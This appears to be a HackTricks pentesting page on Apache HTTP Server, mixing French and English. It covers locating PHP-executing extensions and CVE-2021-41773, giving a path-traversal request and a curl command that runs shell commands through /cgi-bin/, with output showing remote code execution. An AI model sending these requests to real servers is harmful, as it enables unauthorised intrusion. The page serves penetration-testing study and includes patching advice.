hacktricks/network-services-pentesting/pentesting-web/apache.md
2023-06-03 13:10:46 +00:00

5.1 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Extensions PHP exécutables

Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter:

 grep -R -B1 "httpd-php" /etc/apache2

Aussi, vous pouvez trouver cette configuration dans les endroits suivants:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

Description

CVE-2021-41773 is a vulnerability in Apache HTTP Server that allows an attacker to send a specially crafted request to the server and execute arbitrary code with the privileges of the user running the server. This vulnerability is caused by a flaw in the way that Apache HTTP Server handles requests with a specific combination of configuration options.

Impact

An attacker can exploit this vulnerability to execute arbitrary code with the privileges of the user running the server. This can lead to a complete compromise of the affected system.

Exploitation

To exploit this vulnerability, an attacker can send a specially crafted request to the server. The following request will trigger the vulnerability:

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: example.com

This request will execute the /bin/sh command with the privileges of the user running the server.

Mitigation

The Apache Software Foundation has released patches to address this vulnerability. Users are advised to update their Apache HTTP Server installations to the latest version as soon as possible.

References

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥